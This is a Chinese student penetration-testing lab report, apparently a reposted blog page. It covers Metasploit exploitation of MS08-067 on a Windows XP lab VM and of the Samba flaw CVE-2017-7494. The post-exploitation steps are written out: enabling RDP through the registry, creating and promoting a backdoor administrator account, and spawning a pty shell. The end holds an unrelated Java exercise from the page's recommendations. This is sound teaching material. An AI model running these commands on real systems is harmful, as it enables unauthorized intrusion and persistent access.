实验五

学   号201521410029

 

中国人民公安大学

Chinese people public security university

 

网络对抗技术

实验报告

 

实验五

综合渗透

 

 

 

学生姓名

孙浩

年级

 2015级

区队

网安一区

指导教师

高见

 

 

信息技术与网络安全学院

2016117

 

实验任务总纲

2016—2017 学年 第  学期

一、实验目的

1.通过对木马的练习,使读者理解和掌握木马传播和运行的机制;通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识。

 

2.了解并熟悉常用的网络攻击工具,木马的基本功能;

3.达到巩固课程知识和实际应用的目的。

二、实验要求

1.认真阅读每个实验内容,需要截图的题目,需清晰截图并对截图进行标注和说明。

2.文档要求结构清晰,图文表达准确,标注规范。推理内容客观、合理、逻辑性强。

3.软件工具可使用NC、MSF等。

4.实验结束后,保留电子文档。

、实验步骤

1.准备

提前做好实验准备,实验前应把详细了解实验目的、实验要求和实验内容,熟悉并准备好实验用的软件工具,按照实验内容和要求提前做好实验内容的准备。

2.实验环境

描述实验所使用的硬件和软件环境(包括各种软件工具);

开机并启动软件office2003或2007、浏览器、加解密软件。

3.实验过程

1)启动系统和启动工具软件环境。

2)用软件工具实现实验内容。

4.实验报告

按照统一要求的实验报告格式书写实验报告。把按照模板格式编写的文档嵌入到实验报告文档中,文档按照规定的书写格式书写,表格要有表说图形要有图说。

 

 windows ms08067 漏洞利用

  https://pan.baidu.com/s/1dbBGdkM6aDzXcKajV47zBw               靶机环境

一.1 知识背景

 

Metasploit是一款开源的安全漏洞检测工具,Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。

 

Metasploit Framework并不止具有exploit(溢出)收集功能,它使你专注于创建自己的溢出模块或者二次开发。很少的一部分用汇编和C语言实现,其余均由ruby实现。总体架构:

 

 

 

 

 

 

一.2 实训环境

 

Windows XP SP3

 

IP:172.16.211.129

 

Kali Linux 

 

IP:172.16.211.128

 

一.3 实训原理

 

漏洞名称:Windows Server服务RPC请求缓冲区溢出漏洞(MS08-067)此安全更新解决了服务器服务中一个秘密报告的漏洞。如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。 防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击。

 

一.4 漏洞利用过程

 实验失败的估计是set target 0那里。第一次加载msf会自动初始化,后面还会初始化一个database。

第一次加载会自动配置一段时间

在msfconsole使用search命令搜索MS08067漏洞攻击程序

 

 

 

 

从结果中得到

 

exploit/windows/smb/ms08_067_netapi

 

表示当前msf框架中包含MS08067漏洞的攻击插件。

 

使用use命令调用MS08067漏洞攻击程序

 

use exploit/windows/smb/ms08_067_netapi

 

 

 

 

进入msf的交互式命令窗口下,使用show options 命令查看需要设置的选项。

 

 

 

 

从图中可以看到还需设置RHOST(目标地址)、Exploit target(攻击目标)使用 set 命令设置 Module Options,此处需要设置目标IP即 set RHOST 172.16.211.129

 

 

 

 

使用 set 命令设置后,可再使用show options 命令查看设置情况

 

 

 

 

从中可以看出目标IP已经设置好接着设置Exploit target,使用show targets 查看可选项可以看出以下版本的系统均存在此漏洞

 

。因为不知道用哪个,所以用0

 

 

 

使用set target 命令设置目标,此处即为set target 0!!!!!!!!!!!!!!!!不是老师说的那个数,老师上课说了那个是他环境中的,你环境不是那个数,好多人失败都是这里,0是auto,自动寻找目标。除非你知道目标是多少可以自己输入。

 

 

此时再用show options 可以看到全部设置完成,接着使用exploit 或者 run 进行攻击

 

 

执行exploit命令后得到一个meterpreter命令行交互窗口

 

 

 

在meterpreter中输入run getgui -e 命令,可以打开RDP(远程桌面)服务,端口号3389。

 

继续输入shell即可进入CMD窗口

 

在cmd命令下也可以通过添加注册表项的方式开启对方远程桌面服务(如果上面已经开启了,这步可以省略)。 

 

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

 

使用netstat -an命令查看端口是否开放,从图中可以看到已经开放3389端口。

 

 

 

 

接着使用net user命令查看XP系统中的用户

 在平台中获取shell之后,继续在命令行添加账户和管理员权限。

 

net user user pass /add   例如:net user gao 123 /add

 

net localgroup administrators /add  

 

例如:net localgroup administrators gao /add  

 

最后开启远程桌面,利用刚在添加的账户登陆被攻击机器。 

 

rdesktop -a 32 -u gao -p 123 172.16.211.129:3389

 

这个实验需要关防火墙。

(二)SMB协议漏洞利用与控制CVE-2017-7494

一.1 漏洞描述

Samba是在Linux和UNIX系统上实现SMB协议的一个软件。2017年5月24日Samba发布了4.6.4版本,修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中间的版本。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,使服务器加载并执行它。只需要一个可写入的Samba用户权限就可以利用该漏洞以root身份执行任意代码。

https://pan.baidu.com/s/1AMd3BwbNjibv0TIcJjAFMw                 靶机环境

一.2 实训环境

靶机环境:Stapler.zip中包含虚拟机导入文件,请使用virtual-box加载启动。环境中有CVE-2017-7494相应的漏洞。(网卡模式设置为NAT模式或Bridge【桥接】模式--和攻击环境设置一样的模式即可)

攻击环境:Kali-linxu,使用virtual-box启动。(网卡模式设置为NAT模式或Bridge【桥接】模式--和靶机环境设置一样的模式即可)

实验目的:读取靶机环境中的/root/flags.txt文件

v 说明:靶机环境和攻击环境为两台虚拟机,启动并保证两台机器互联互通。

一.3 实训步骤

实验环境:靶机->virtual box桥接模式,kali->vmvare 自定义:特定虚拟网络选vmvare0(也是桥接,直接选桥接后ifconfig无ip然后还要打开编辑,虚拟网络编辑器,自动桥接设置只勾选前两个)因为是两个不在同一软件的虚拟机,所以网段设置比较麻烦,不这么设置(用nat模式扫不到网段)kali扫不到virtualbox中的靶机的ip。这个图只选前两个。

一、在攻击者机器上,使用Nmap或netdiscover工具扫描子网的机器,发现靶机的IP地址。【实验中,大家环境不同,发现的IP地址和图中不一定一致】

 先设置桥接模式,因为我试了下nat模式下的vmvare环境和virtualbox环境的ip不在同一网段(不一定),所以找ip很难找,于是设置桥接。查看kali所在网段的所有ip,先用netdiscover发现有一个异常,即为所寻找靶机ip(这次显示成功了,不过第二次找就失败了,和虚拟机的ip设置有关)

 

二、使用Nmap工具扫描目标IP地址,发现其开放端口。

 

 

三、启动MSF使用CVE-2017-7494相关攻击模块

 

 

四、加载攻击模块

五、查看攻击模块中需要配置的参数

六、设置参数,并发动攻击

七、获取shell后,查看权限

八、获得命令行交互窗口

使用python脚本获得交互命令行窗口,脚本如下:

python -c "import pty; pty.spawn('/bin/bash')"

 

 

得到flag,由于其他漏洞不会找,先用最简单的msf做了。

转载于:https://www.cnblogs.com/P201521410029/p/9841110.html

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
《Java程序设计》课程实验指导书程序代码(答案)(实验:Java的异常处理),个人原创,仅供参考与交流。 希望多多交流,共同进步! 实验 Java的异常处理 一、实验目的: 理解 java 语言中独特的异常处理机制; 掌握异常处理方法; 正确地使用捕获异常和声明抛弃异常的两种异常处理的方法; 了解自定义异常类的使用; 理解抛出异常和声明抛出异常的区别与联系; 二、实验内容: 1. 从命令行得到5个整数,放入一整型数组,然后打印输出,要求:如果输入数据不为整数,要捕获Integer.parseInt()产生的异常,显示“请输入整数”,捕获输入参数不足5个的异常(数组越界),显示“请输入至少5个整数”。 2.写一个方法void sanjiao(int a,int b,int c),判断三个参数是否能构成一个三角形,如果不能则抛出异常IllegalArgumentException,显示异常信息a,b,c+”不能构成三角形”,如果可以构成则显示三角形三个边长,在主方法中得到命令行输入的三个整数,调用此方法,并捕获异常。 3.自定义类Sanj,其中有成员 x,y,z,作为三边长,构造方法Sanj(a,b,c)分别给x,y,z赋值,方法求面积getArea和显示三角形信息(三个边长)showInfo,这2个方法中当三条边不能构成一个三角形时要抛出自定义异常NotSanjiaoException,否则显示正确信息。在另外一个类中的主方法中构造一个Sanj对象(三边为命令行输入的三个整数),显示三角形信息和面积,要求捕获异常。 三、实验要求: 1. 通过实验掌握捕获异常和声明抛弃异常的两种异常处理的方法; 2. 程序必须能够捕获Integer.parseInt()产生的异常并作相应的处理; 3. 程序必须能够将处理的相应的信息输出出来; 4. 写出实验报告。要求记录编译和执行Java程序当中的系统错误信息提材示,并给出解决办法。(附运行界面、源代码)。 四、实验步骤: 1. (第1题) 使用try…..catch…. finally语句对Integer.parseInt()产生的异常进行捕获处理; 2. (第2题) 定义方法void sanjiao(int a,int b,int c)中,不符合条件则抛出异常(if a+b<=c(或a+c<=b,b+c<=a) then throw new IllegalArgumentException(),),再定义main方法,调用此方法,用try…..catch…. finally语句并捕获异常; 3. (第3题) 定义三角形类及相应的方法, 在定义的方法中对不符合条件则抛出异常(如上题) ,再定义main方法,对正确的数据输出正确信息,否则捕获异常; 、自做实验 1.参考下面的程序,试修改程序,捕获相关异常,使得程序能正常运行。[提示:用错误数据测试,即可得到异常类名,运行时主方法参数输入 abc 测试] public class StringIndexOutOf{ public static void main(String args[]){ System.out.println("字符串索引越界异常"); String str=args[0]; System.out.println(“第四个字符为 ”+str.charAt(3)); int aa=Integer.parseInt(args[0]); System.out.println(“平方为 ”+aa*aa); } }

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值